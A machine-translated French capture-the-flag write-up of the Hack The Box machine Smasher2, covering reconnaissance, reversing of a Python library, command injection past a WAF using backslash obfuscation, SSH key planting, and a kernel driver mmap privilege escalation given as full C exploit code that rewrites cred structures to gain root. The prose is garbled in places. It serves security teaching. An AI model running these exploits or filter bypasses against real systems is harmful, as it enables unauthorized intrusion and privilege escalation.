Hack The Box - Smasher2 Procédure pas à pas Flacon, WAF et LPE via des pilotes pwn

image

Dans cet article, je vais commencer à publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox . J'espère que cela aidera au moins quelqu'un à se développer dans le domaine de la sécurité de l'information. Dans cet article, nous allons inverser la bibliothèque de python, contourner WAF et exploiter la vulnérabilité mmap.

La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur professionnel ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)

Information organisationnelle
Surtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:

  • PWN;
  • cryptographie (Crypto);
  • technologies de réseau (réseau);
  • reverse (Reverse Engineering);
  • stéganographie (Stegano);
  • recherche et exploitation des vulnérabilités WEB.

En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.

Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une chaîne dans Telegram et un groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations personnelles et répondrai à tout le monde .

Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.

Intelligence


Balayage de port


Cette machine a une adresse IP de 10.10.10.135, que j'ajoute à / etc / hosts.
10.10.10.135 smasher2.htb
Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP à partir de l'interface tun0 à une vitesse de 1000 paquets par seconde.

 masscan -e tun0 -p1-65535,U:1-65535 10.10.10.135 --rate=1000 

image

L'hôte a 3 ports ouverts. Maintenant, scannez-le avec nmap pour obtenir plus de détails.

 nmap -A 10.10.10.135 -p22,53,80 

image

Nous avons donc SSH, DNS et WEB, qui renvoie le code 403 (Interdit, accès refusé).

DNS


Vérifions le DNS. Pour ce faire, utilisez le client hôte, avec l'option -l, pour utiliser la demande AXFR pour voir une liste de tous les hôtes du domaine.

 host -l smasher2.htb 10.10.10.135 

image

Par conséquent, vous devez ajouter une nouvelle entrée dans / etc / hosts.
10.10.10.135 wonderfulsessionmanager.smasher2.htb

WEB


Passons maintenant à voir ce que WEB nous donnera lors de l'accès à smasher2.htb.

image

C'est vide. Dans ce cas, vous devez trier les répertoires. J'utilise golang écrit gobuster rapide. Nous allons parcourir les répertoires en 128 threads, nous serons intéressés par les extensions html, php, txt, conf et les codes de réponse 200, 204, 301, 302, 307, 401.

 gobuster dir -t 128 -u http://smasher2.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,conf -s 200,204,301,302,307,401 

image

Recherchez le répertoire de sauvegarde. Nous regardons ce qu'il contient.

image

En conséquence, téléchargez le fichier et la bibliothèque python. Ensuite, allez sur un autre nom de domaine, et nous y trouvons le formulaire d'autorisation.

image

Le plugin Mozilla Firefox Wappalyzer signale les technologies utilisées. Ainsi, le site est écrit en python 2.7.15.

image

API WEB


Python


Nous venons de trouver le fichier auth.py, analysons-le. Dans la première ligne de l'importation, nous nous tournons vers le module ses.so, que nous avons également trouvé dans les sauvegardes.

image

On retrouve l'authentification dans le code. En cas d'authentification réussie, nous serons retournés secret_token_info.

image

image

Passons au point «/ api // job». Les données sont reçues par la méthode POST, alors qu'elles doivent être au format JSON. Si le paramètre de planification est présent dans les données, il est passé à l'exécution en tant que commande sur la ligne de commande.

image

Le login et le mot de passe ont été modifiés ... Ils sont transférés dans notre bibliothèque, qui crée une session - l'objet SessionManager.

image

La fonction safe_init_manager (id) sera appelée à chaque nouvel appel, en raison de before_request. Ainsi, une nouvelle session est initialisée.

image

La fonction login () crée un objet gestionnaire dépendant de la session.

image

Et la vérification est effectuée par la méthode check_login ().

image

Inverser .so


Nous devons donc savoir comment les données sont vérifiées. Pour ce faire, dans la bibliothèque, nous devons comprendre le périphérique SessionManager.check_login (). Jetez dans IDA Pro, recherchez la fonction souhaitée.

image

En ouvrant la fonction, j'ai attiré l'attention sur son graphique. J'étais intéressé par un certain nombre de blocs inférieurs, avant de converger.

image

En parcourant les blocs, vous pouvez voir de quoi parle telle ou telle branche de l'exécution de la fonction. Ainsi, nous n'avons besoin que du bloc le plus à droite.

image

J'ai peint la ligne de comportement de la fonction qui nous intéresse.

image

Voyons maintenant ce qui se passe. À un endroit, j'ai remarqué un code identique pour l'identifiant et le mot de passe. Et aussi la même comparaison.

image

De plus, la même fonction est appelée pour le login et le mot de passe.

image

Cela suggère que le nom d'utilisateur et le mot de passe sont identiques. Mais puisque cette valeur vient du programme python et qu'elle a été éditée, il ne reste plus qu'à trier. J'ai essayé le nom standard et, à ma grande surprise, l'administrateur est venu (pourquoi n'ai-je pas essayé tout de suite ...).

image

Point d'entrée


Nous avons une clé. Vous devez maintenant collecter la demande pour exécuter le code. Comme mentionné précédemment, nous devons envoyer les données de la méthode POST contenant le paramètre de planification au format JSON à wonderfulsessionmanager.smasher2.htb / auth / fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8 / job . Nous faisons cela avec curl et passons le résultat à jq. Nous exécuterons la commande whoami.

 curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik5UaGlZVEJrTmpBMk1qYzBNemN4TmprellUTm1NREV3TXprMk9USTRPV1UzTnpVd05EQXdZZz09In19.XfZcLA.R3UTUnieAARkHBTbqpTmofKWtBw" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"whoami"}' | jq 

image

Mais lorsque vous essayez d'exécuter la commande «ls», nous obtenons une erreur.

image

Il y a très probablement un filtre sur l'équipe. Envoyons «l \\ s» - avec succès, ce qui indique la présence d'un filtre.

image

UTILISATEUR


Maintenant, nous devons obtenir un shell normal dans le système. Le système exécute SSH, nous pouvons donc générer une clé et la pousser dans la liste des hôtes autorisés.

Nous générons d'abord une clé.

image

Maintenant, nous devons transférer notre clé publique dans le fichier /home/dzonerzy/.ssh/authorized_keys. Mais pour faciliter le transfert, nous utiliserons son encodage en base64.

 base64 -w0 id_rsa.pub 

Nous le transférons d'abord dans un fichier temporaire.

 ec\\ho \”=\” > /tmp/ralf 

Maintenant, décodez et écrivez comme prévu.
 ba\\se\\64 -\\d /tmp/ralf >> /home/dzonerzy/\\.\\ss\\h/auth\\orized_ke\\ys 

Nous avons noté la clé, maintenant si tout va bien, nous pouvons nous connecter via SSH en utilisant la clé privée. Nous essayons. Et nous sommes dans le système.

image

LPE - ROOT


Annonce


À côté du jeton de l'utilisateur se trouve le fichier README. Lisez-le.

image

On nous dit que nous ne devrions pas penser de manière standard ... Mais après avoir terminé les énumérations standard et ne rien trouver, j'ai attiré l'attention sur le groupe dans lequel se trouve l'utilisateur.

image

Le groupe adm a accès à des fichiers intéressants.

image

Par exemple, auth.log. Il reflète non seulement les faits de l'autorisation réussie et infructueuse, mais également les faits de l'utilisation de la commande sudo.

 strings /var/log/auth.log | grep sudo 

image

Une commande intéressante est exécutée au nom de la racine. Mais il est connecté au pilote, vous devez donc vous assurer que nous suivons le chemin.

image

Oui, malheureusement, tout revient au chauffeur.

Chauffeur


Comme il s'agit d'un pilote (module noyau), nous obtiendrons des informations à ce sujet en utilisant modinfo.

image

Il est dit que le pilote est nécessaire pour travailler avec le périphérique dhid. Vérifiez-le.

image

Oui Il existe un tel appareil. Afin d'étudier le pilote, je l'ai copié moi-même et téléchargé dans IDA Pro.

 scp -i id_rsa dzonerzy@10.10.10.135:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./ 

Une liste restreinte de fonctions, dont pour PWN nous nous intéressons à celles qui fonctionnent avec la mémoire. A en juger par les noms, ce sont dev_read et dev_mmap.

image

Plus loin sur Google, je n'ai pas trouvé particulièrement d'informations sur la vulnérabilité des pilotes liée à la lecture, ce qui ne peut pas être dit sur mmap! Alors je suis allé vers elle.

image

En général, mmap dans les pilotes est nécessaire pour mapper l'appareil à la mémoire et sélectionner les pages à la demande, car initialement l'appareil n'utilise pas du tout de mémoire physique.

Dans ce code, le seul endroit intéressant est l'appel à la fonction remap_pfn_range, qui permet un mappage linéaire de la mémoire de l'appareil sur l'espace d'adressage de l'utilisateur.
int remap_pfn_range (struct vm_area_struct * vma, unsigned long virt_add, unsigned long pfn, unsigned long size, pgprot_t prot);

Affiche les octets de taille des adresses physiques, en commençant par le numéro de page spécifié par pfn pour l'adresse virtuelle virt_add. Les bits de sécurité associés à l'espace virtuel sont spécifiés dans prot.

Comme d'habitude, nous examinons des paramètres qui n'ont pas été traités auparavant. Ce sont les paramètres pfn et size, qui nous permettent d'afficher n'importe quelle quantité de mémoire pour la lecture et l'écriture.

Exploiter


Googler ce qui peut être fait à ce sujet, j'ai été frappé par un mode d'exploitation possible. Si nous pouvons trouver la structure de contrôle de creds en mémoire, cela nous permettra de changer l'uid utilisateur à 0. Et ensuite appeler le shell, ce qui nous donnera un shell avec tous les privilèges.

image

Tout d'abord, vérifiez si nous pouvons afficher une grande quantité de mémoire. Le code suivant ouvrira le périphérique et affichera 0xf0000000 octets à partir de l'adresse 0x40404040 pour la lecture et l'écriture avec la possibilité d'utiliser cette réflexion avec d'autres processus qui reflètent le même objet.

code
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); int stop = getchar(); return 0; } 


Compiler: gcc sh.c -o sh.bin et transférer vers l'hôte. Lançons-le.

image

Passons maintenant à un autre terminal ssh et regardons la carte mémoire de ce processus.

image

Comme vous pouvez le constater, l'adresse est la même, des étiquettes de lecture et d'écriture, ainsi que de partage sont apposées. C'est une idée qui marche. L'étape suivante consiste à trouver la structure des crédits du processus à l'esprit. On peut voir dans la structure ci-dessus que le poinçon sera 8 numéros blessés par notre uid, qui vont de suite.

code
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, cred_iter: %d\n", addr, cred_iter); } addr++; } fflush(stdout); int stop = getchar(); return 0; } 


Ainsi, nous avons trouvé 19 structures similaires.

image

Maintenant, nous devons réécrire tous les uid à 0. Après avoir réécrit les uid d'une certaine structure, nous allons vérifier notre uid. Dès que notre uid devient égal à 0, nous pouvons supposer que nous avons trouvé des creds la structure du processus dont nous avons besoin.

code
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; if (getuid() == 0){ printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter); break; } else{ cred_cur = 0; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; } } addr++; } fflush(stdout); int stop = getchar(); return 0; } 


image

Maintenant, après avoir trouvé la structure dont nous avons besoin, nous allons changer l'uid en 0xffffffff et appeler le shell bash via la fonction exec.

code
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; if (getuid() == 0){ printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur += 1; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; execl("/bin/sh","-", (char *)NULL); break; } else{ cred_cur = 0; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; } } addr++; } fflush(stdout); int stop = getchar(); return 0; } 


image

Nous avons pris racine. En fait, il s'agit d'une machine très complexe qui nécessitait une sophistication pour gérer cette version de LPE.

Bien sûr, il a été très difficile d'obtenir l'exploit de la vulnérabilité dans le pilote, et je suis reconnaissant à la communauté qui m'a aidé avec un indice sur la façon d'accéder au pilote et a partagé un article sur l'exploitation similaire de la vulnérabilité dans mmap.

Dois-je continuer à publier l'analyse des machines envoyées pour un traitement ultérieur? Vous pouvez nous rejoindre sur Telegram . Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pouvons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

Source: https://habr.com/ru/post/fr480454/


All Articles